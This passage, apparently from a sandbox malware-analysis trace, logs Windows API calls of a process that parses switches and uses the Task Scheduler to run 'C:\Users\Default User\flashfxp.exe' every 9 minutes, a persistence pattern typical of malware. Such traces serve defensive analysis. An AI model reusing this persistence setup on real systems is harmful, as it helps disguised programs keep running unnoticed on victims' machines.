(_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.320] lstrlenW (lpString="f") returned 1 [0163.320] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.320] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|d|") returned 3 [0163.320] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.320] lstrlenW (lpString="|d|") returned 3 [0163.320] lstrlenW (lpString="|f|") returned 3 [0163.320] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0163.320] SetLastError (dwErrCode=0x490) [0163.320] lstrlenW (lpString="m") returned 1 [0163.320] lstrlenW (lpString="m") returned 1 [0163.320] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.320] lstrlenW (lpString="f") returned 1 [0163.320] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.320] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|m|") returned 3 [0163.320] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.320] lstrlenW (lpString="|m|") returned 3 [0163.320] lstrlenW (lpString="|f|") returned 3 [0163.320] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0163.320] SetLastError (dwErrCode=0x490) [0163.320] lstrlenW (lpString="i") returned 1 [0163.320] lstrlenW (lpString="i") returned 1 [0163.320] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.320] lstrlenW (lpString="f") returned 1 [0163.320] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.320] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|i|") returned 3 [0163.320] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.320] lstrlenW (lpString="|i|") returned 3 [0163.320] lstrlenW (lpString="|f|") returned 3 [0163.320] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0163.320] SetLastError (dwErrCode=0x490) [0163.320] lstrlenW (lpString="tn") returned 2 [0163.320] lstrlenW (lpString="tn") returned 2 [0163.320] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.321] lstrlenW (lpString="f") returned 1 [0163.321] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.321] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.321] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.321] lstrlenW (lpString="|tn|") returned 4 [0163.321] lstrlenW (lpString="|f|") returned 3 [0163.321] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0163.321] SetLastError (dwErrCode=0x490) [0163.321] lstrlenW (lpString="tr") returned 2 [0163.321] lstrlenW (lpString="tr") returned 2 [0163.321] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.321] lstrlenW (lpString="f") returned 1 [0163.321] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.321] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.321] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.321] lstrlenW (lpString="|tr|") returned 4 [0163.321] lstrlenW (lpString="|f|") returned 3 [0163.321] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0163.321] SetLastError (dwErrCode=0x490) [0163.321] lstrlenW (lpString="st") returned 2 [0163.321] lstrlenW (lpString="st") returned 2 [0163.321] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.321] lstrlenW (lpString="f") returned 1 [0163.321] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.321] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|st|") returned 4 [0163.321] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.321] lstrlenW (lpString="|st|") returned 4 [0163.321] lstrlenW (lpString="|f|") returned 3 [0163.321] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0163.321] SetLastError (dwErrCode=0x490) [0163.321] lstrlenW (lpString="sd") returned 2 [0163.321] lstrlenW (lpString="sd") returned 2 [0163.321] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.322] lstrlenW (lpString="f") returned 1 [0163.322] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.322] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sd|") returned 4 [0163.322] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.322] lstrlenW (lpString="|sd|") returned 4 [0163.322] lstrlenW (lpString="|f|") returned 3 [0163.322] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0163.322] SetLastError (dwErrCode=0x490) [0163.322] lstrlenW (lpString="ed") returned 2 [0163.322] lstrlenW (lpString="ed") returned 2 [0163.322] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.322] lstrlenW (lpString="f") returned 1 [0163.322] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.322] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|ed|") returned 4 [0163.322] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.322] lstrlenW (lpString="|ed|") returned 4 [0163.322] lstrlenW (lpString="|f|") returned 3 [0163.322] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0163.322] SetLastError (dwErrCode=0x490) [0163.322] lstrlenW (lpString="it") returned 2 [0163.322] lstrlenW (lpString="it") returned 2 [0163.322] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.322] lstrlenW (lpString="f") returned 1 [0163.322] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.322] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|it|") returned 4 [0163.322] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.322] lstrlenW (lpString="|it|") returned 4 [0163.322] lstrlenW (lpString="|f|") returned 3 [0163.322] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0163.322] SetLastError (dwErrCode=0x490) [0163.322] lstrlenW (lpString="et") returned 2 [0163.322] lstrlenW (lpString="et") returned 2 [0163.322] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.323] lstrlenW (lpString="f") returned 1 [0163.323] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.323] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|et|") returned 4 [0163.323] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.323] lstrlenW (lpString="|et|") returned 4 [0163.323] lstrlenW (lpString="|f|") returned 3 [0163.323] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0163.323] SetLastError (dwErrCode=0x490) [0163.323] lstrlenW (lpString="k") returned 1 [0163.323] lstrlenW (lpString="k") returned 1 [0163.323] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.323] lstrlenW (lpString="f") returned 1 [0163.323] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.323] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|k|") returned 3 [0163.323] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.323] lstrlenW (lpString="|k|") returned 3 [0163.323] lstrlenW (lpString="|f|") returned 3 [0163.323] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0163.323] SetLastError (dwErrCode=0x490) [0163.323] lstrlenW (lpString="du") returned 2 [0163.323] lstrlenW (lpString="du") returned 2 [0163.323] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.323] lstrlenW (lpString="f") returned 1 [0163.323] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.323] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|du|") returned 4 [0163.323] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.323] lstrlenW (lpString="|du|") returned 4 [0163.323] lstrlenW (lpString="|f|") returned 3 [0163.323] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0163.323] SetLastError (dwErrCode=0x490) [0163.323] lstrlenW (lpString="ri") returned 2 [0163.323] lstrlenW (lpString="ri") returned 2 [0163.323] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.323] lstrlenW (lpString="f") returned 1 [0163.324] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.324] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|ri|") returned 4 [0163.324] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.324] lstrlenW (lpString="|ri|") returned 4 [0163.324] lstrlenW (lpString="|f|") returned 3 [0163.324] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0163.324] SetLastError (dwErrCode=0x490) [0163.324] lstrlenW (lpString="z") returned 1 [0163.324] lstrlenW (lpString="z") returned 1 [0163.324] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.324] lstrlenW (lpString="f") returned 1 [0163.324] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.324] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|z|") returned 3 [0163.324] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.324] lstrlenW (lpString="|z|") returned 3 [0163.324] lstrlenW (lpString="|f|") returned 3 [0163.324] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0163.343] SetLastError (dwErrCode=0x490) [0163.343] lstrlenW (lpString="f") returned 1 [0163.343] lstrlenW (lpString="f") returned 1 [0163.343] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.343] lstrlenW (lpString="f") returned 1 [0163.343] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.343] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.343] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.343] lstrlenW (lpString="|f|") returned 3 [0163.343] lstrlenW (lpString="|f|") returned 3 [0163.343] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0163.343] SetLastError (dwErrCode=0x0) [0163.344] SetLastError (dwErrCode=0x0) [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ccc0 [0163.344] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.344] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0163.344] lstrlenW (lpString="MINUTE") returned 6 [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d550 [0163.344] GetThreadLocale () returned 0x409 [0163.344] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0163.344] SetLastError (dwErrCode=0x0) [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x1fc) returned 0x21c220 [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc90 [0163.344] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.344] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0163.344] lstrlenW (lpString="First") returned 5 [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xc) returned 0x21d570 [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc60 [0163.344] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.344] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0163.344] lstrlenW (lpString="Second") returned 6 [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d590 [0163.344] GetProcessHeap () returned 0x200000 [0163.344] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc30 [0163.345] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.345] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0163.345] lstrlenW (lpString="Third") returned 5 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xc) returned 0x21d5b0 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc00 [0163.345] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.345] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0163.345] lstrlenW (lpString="Fourth") returned 6 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d5d0 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cbd0 [0163.345] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.345] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0163.345] lstrlenW (lpString="Last") returned 4 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa) returned 0x21d5f0 [0163.345] lstrlenW (lpString="9") returned 1 [0163.345] _wtol (_String="9") returned 9 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cba0 [0163.345] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.345] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0163.345] lstrlenW (lpString="First") returned 5 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xc) returned 0x21d610 [0163.345] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.345] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0163.345] lstrlenW (lpString="Second") returned 6 [0163.345] GetProcessHeap () returned 0x200000 [0163.345] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d630 [0163.345] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.346] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0163.346] lstrlenW (lpString="Third") returned 5 [0163.346] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.346] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0163.346] lstrlenW (lpString="Fourth") returned 6 [0163.346] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.346] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0163.346] lstrlenW (lpString="Last") returned 4 [0163.346] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc0e0, cchData=128 | out: lpLCData="0") returned 2 [0163.346] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.346] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0163.346] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d570) returned 1 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d570) returned 0xc [0163.346] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d570 | out: hHeap=0x200000) returned 1 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d570 [0163.346] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc100, cchData=128 | out: lpLCData="0") returned 2 [0163.346] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.346] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0163.346] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d590) returned 1 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d590) returned 0xe [0163.346] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d590 | out: hHeap=0x200000) returned 1 [0163.346] GetProcessHeap () returned 0x200000 [0163.346] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d590 [0163.347] GetLocalTime (in: lpSystemTime=0x1dc330 | out: lpSystemTime=0x1dc330*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x16, wMilliseconds=0x23b)) [0163.347] lstrlenW (lpString="") returned 0 [0163.347] GetLocalTime (in: lpSystemTime=0x1dcbe8 | out: lpSystemTime=0x1dcbe8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x16, wMilliseconds=0x23b)) [0163.347] lstrlenW (lpString="") returned 0 [0163.347] lstrlenW (lpString="") returned 0 [0163.347] lstrlenW (lpString="") returned 0 [0163.347] lstrlenW (lpString="") returned 0 [0163.347] lstrlenW (lpString="9") returned 1 [0163.347] _wtol (_String="9") returned 9 [0163.347] lstrlenW (lpString="") returned 0 [0163.347] lstrlenW (lpString="") returned 0 [0163.347] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0163.373] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0163.684] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1dc9b0 | out: ppv=0x1dc9b0*=0x4d7a50) returned 0x0 [0163.694] TaskScheduler:ITaskService:Connect (This=0x4d7a50, serverName=0x1dca90*(varType=0x8, wReserved1=0x1d, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1dca50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1dca70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dca30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0163.735] TaskScheduler:IUnknown:AddRef (This=0x4d7a50) returned 0x2 [0163.735] TaskScheduler:ITaskService:GetFolder (in: This=0x4d7a50, Path=0x0, ppFolder=0x1dcb48 | out: ppFolder=0x1dcb48*=0x4d7c10) returned 0x0 [0163.739] TaskScheduler:ITaskService:NewTask (in: This=0x4d7a50, flags=0x0, ppDefinition=0x1dcb40 | out: ppDefinition=0x1dcb40*=0x4d7c60) returned 0x0 [0163.740] ITaskDefinition:get_Actions (in: This=0x4d7c60, ppActions=0x1dcac0 | out: ppActions=0x1dcac0*=0x4d7d20) returned 0x0 [0163.740] IActionCollection:Create (in: This=0x4d7d20, Type=0, ppAction=0x1dcae0 | out: ppAction=0x1dcae0*=0x4d60c0) returned 0x0 [0163.740] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.740] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.740] lstrlenW (lpString=" ") returned 1 [0163.740] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0163.740] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0163.740] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0163.740] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0163.741] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0163.741] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0163.742] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.742] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0163.742] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.742] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0163.742] IUnknown:Release (This=0x4d60c0) returned 0x1 [0163.742] IUnknown:Release (This=0x4d7d20) returned 0x1 [0163.742] ITaskDefinition:get_Triggers (in: This=0x4d7c60, ppTriggers=0x1dc640 | out: ppTriggers=0x1dc640*=0x4d7e60) returned 0x0 [0163.742] ITriggerCollection:Create (in: This=0x4d7e60, Type=1, ppTrigger=0x1dc638 | out: ppTrigger=0x1dc638*=0x4d6130) returned 0x0 [0163.742] lstrlenW (lpString="9") returned 1 [0163.742] _vsnwprintf (in: _Buffer=0x1dc5c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1dc5b8 | out: _Buffer="PT9M") returned 4 [0163.742] ITrigger:get_Repetition (in: This=0x4d6130, ppRepeat=0x1dc630 | out: ppRepeat=0x1dc630*=0x4d61c0) returned 0x0 [0163.743] IRepetitionPattern:put_Interval (This=0x4d61c0, Interval="PT9M") returned 0x0 [0163.743] IUnknown:Release (This=0x4d61c0) returned 0x1 [0163.743] _vsnwprintf (in: _Buffer=0x1dc580, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1dc558 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0163.743] ITrigger:put_StartBoundary (This=0x4d6130, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0163.743] lstrlenW (lpString="") returned 0 [0163.743] lstrlenW (lpString="") returned 0 [0163.743] lstrlenW (lpString="") returned 0 [0163.743] lstrlenW (lpString="") returned 0 [0163.743] IUnknown:Release (This=0x4d6130) returned 0x1 [0163.743] IUnknown:Release (This=0x4d7e60) returned 0x1 [0163.743] ITaskDefinition:get_Settings (in: This=0x4d7c60, ppSettings=0x1dcae0 | out: ppSettings=0x1dcae0*=0x4d7ed0) returned 0x0 [0163.744] lstrlenW (lpString="") returned 0 [0163.744] 